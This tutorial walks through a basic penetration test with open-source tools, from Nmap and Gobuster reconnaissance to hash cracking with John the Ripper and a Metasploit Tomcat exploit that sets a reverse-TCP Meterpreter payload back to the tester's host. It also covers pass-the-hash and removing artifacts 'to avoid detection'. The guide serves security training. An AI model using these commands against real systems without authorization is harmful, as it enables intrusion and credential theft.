Penetration testing—often shortened to “pen testing”—is the practice of probing a system, network, or application for exploitable weaknesses before a malicious actor does. While commercial suites like Burp Suite Pro or Core Impact are powerful, the open‑source ecosystem offers a surprisingly robust toolkit that can cover the entire testing lifecycle. This guide walks you through a complete, basic penetration test using only free tools, from reconnaissance to exploitation, and shows you how to avoid common pitfalls along the way.
What You’ll Need
- A Linux workstation (Kali Linux, Parrot OS, or any Debian‑based distro with sudo access)
- Network connectivity to the target (same LAN, VPN, or authorized external IP range)
- Open‑source tools: Nmap, Nikto, Gobuster, Enum4linux, John the Ripper, Metasploit Framework, and a text editor
- Permission to test – a signed engagement letter or explicit written consent
- Basic knowledge of TCP/IP, Linux command line, and scripting
Step 1: Define Scope and Gather Intelligence
Before you type a single command, clarify the scope. Identify the IP ranges, hostnames, and services you’re allowed to test. Document this in a simple spreadsheet: target IP, OS guess, open ports, and notes. Use whois and nslookup for initial reconnaissance.
Example:
whois example.com nslookup example.com dig +short example.com
These commands reveal the authoritative name servers and any associated IP addresses, giving you a clean starting point.
Step 2: Network Scanning with Nmap
Nmap is the de‑facto scanner for discovering live hosts and open ports. Run a fast ping sweep first, then a comprehensive service scan on discovered hosts.
# Ping sweep (replace 192.168.1.0/24 with your target range)
sudo nmap -sn 192.168.1.0/24 -oG ping.txt
# Extract live IPs
awk '/Up$/{print $2}' ping.txt > live_hosts.txt
# Full service scan on each live host
while read ip; do
sudo nmap -sS -sV -p- -T4 -oN scans/$ip.txt $ip
done < live_hosts.txt
The -sS (SYN scan) is stealthy, -sV probes service versions, and -p- scans all 65,535 ports. Store results in a scans folder for later reference.
Step 3: Web Application Enumeration
If any of the discovered services are HTTP/HTTPS, dive deeper with Nikto and Gobuster. Nikto checks for known vulnerabilities and misconfigurations, while Gobuster brute‑forces hidden directories and files.
# Example target TARGET="http://192.168.1.45" # Nikto scan (quiet mode, output to file) nikto -h $TARGET -output nikto_$(date +%F).txt -quiet # Gobuster directory brute‑force (use SecLists wordlist) gobuster dir -u $TARGET -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html,js -o gobuster_$(date +%F).txt
Review the output for exposed admin panels, backup files, or outdated components. These often become the foothold for later exploitation.
Step 4: Enumerate Windows Shares and Users
Many internal networks still run legacy Windows file shares. Enum4linux can pull user lists, share names, and even password policy details without needing valid credentials.
enum4linux -a 192.168.1.45 > enum4linux_$(date +%F).txt
Look for shares with write permissions (e.g., targetshare) that could be leveraged for file upload attacks or for planting malicious scripts.
Step 5: Password Cracking and Credential Harvesting
If you captured any password hashes—perhaps from SMB null sessions or from a misconfigured service—John the Ripper (or Hashcat) can attempt to crack them. First, extract hashes with samdump2 or hashdump (Metasploit modules). Then feed them to John.
# Assume hashes are stored in hashes.txt john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules
Successful cracks give you clear‑text credentials that can be reused in later steps, such as authenticating to a web admin panel or establishing a reverse shell.
Step 6: Exploitation with Metasploit
Metasploit ties everything together. Choose an exploit that matches a vulnerable service you identified earlier. For illustration, we’ll exploit an outdated Apache Tomcat instance that allows unauthenticated deployment of a WAR file.
# Start Metasploit console msfconsole # Search for Tomcat deployment exploits search tomcat deployment # Use the most appropriate module (example) use exploit/multi/http/tomcat_mgr_upload # Set required options set RHOSTS 192.168.1.45 set RPORT 8080 set TARGETURI /manager/html set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.100 # Your Kali IP set LPORT 4444 exploit
If the exploit succeeds, you’ll receive a Meterpreter session. From there you can enumerate the system, dump password hashes, or pivot to other hosts.
Common Mistakes to Avoid
1. Skipping Permission Checks – Running scans against systems you don’t have written consent for is illegal and can land you in hot water. Always keep a signed scope document.
2. Over‑Scanning – Aggressive Nmap timing (-T5) or massive brute‑force wordlists can trigger IDS alerts, lock out accounts, or even cause denial‑of‑service. Start with -T4 and moderate wordlist sizes.
3. Ignoring Output Formats – Saving results only to the console makes post‑analysis painful. Use -oN, -oX, or -oJ to generate machine‑readable logs for later reporting.
4. Not Verifying Service Versions – Relying solely on -sV can give false positives. Cross‑reference with banner grabbing tools (e.g., netcat or curl -I) before selecting an exploit.
5. Leaving Sessions Open – After gaining a Meterpreter session, clean up by terminating the session and removing any artifacts (uploaded WAR files, created users, etc.) to avoid detection.
Tips and Tricks
• Automate Repetitive Tasks with Bash loops or Python scripts. For example, a one‑liner that runs Nmap against every IP in live_hosts.txt and stores JSON output for quick parsing.
• Use “Version‑Specific” Exploits. Metasploit’s searchsploit (from Exploit‑DB) can locate exploits matching exact version numbers you discovered with Nmap.
• Leverage “Pass‑the‑Hash” if you capture NTLM hashes. Tools like pth-winexe let you authenticate without cracking.
• Document As You Go. A markdown or CSV log with columns for “Tool”, “Command”, “Result”, and “Notes” speeds up report writing.
• Stay Updated. Open‑source tools evolve quickly. Regularly pull the latest repos (e.g., git pull https://github.com/rapid7/metasploit-framework.git) to ensure you have the newest exploit modules.
Frequently Asked Questions
Do I really need a full Kali installation?
No. While Kali bundles all the tools used in this guide, you can install each binary on any Debian‑based distro. For example, apt install nmap nikto gobuster metasploit-framework on Ubuntu works fine.
Can I run these tests from a Windows machine?
Yes, but you’ll need a Linux compatibility layer like WSL2 or a virtual machine. Some tools (e.g., Nmap) have native Windows builds, but others (like Gobuster) are more stable on Linux.
What if the target uses cloud services (AWS, Azure) instead of on‑prem servers?
The same methodology applies, but you’ll need cloud‑specific enumeration tools (e.g., awscli for AWS). Focus on public‑facing endpoints, misconfigured S3 buckets, or exposed management consoles before moving to internal assets.
Conclusion
Even without a pricey commercial suite, you can conduct a thorough, professional‑grade penetration test using only open‑source utilities. By following a disciplined workflow—scope definition, network scanning, web enumeration, credential harvesting, and targeted exploitation—you’ll uncover real weaknesses while staying within legal and ethical boundaries. Remember, the most valuable part of any test is the report: translate raw data into actionable recommendations, prioritize findings by risk, and provide clear remediation steps. With practice, these free tools become a powerful extension of your security toolkit, enabling you to protect organizations without breaking the bank.
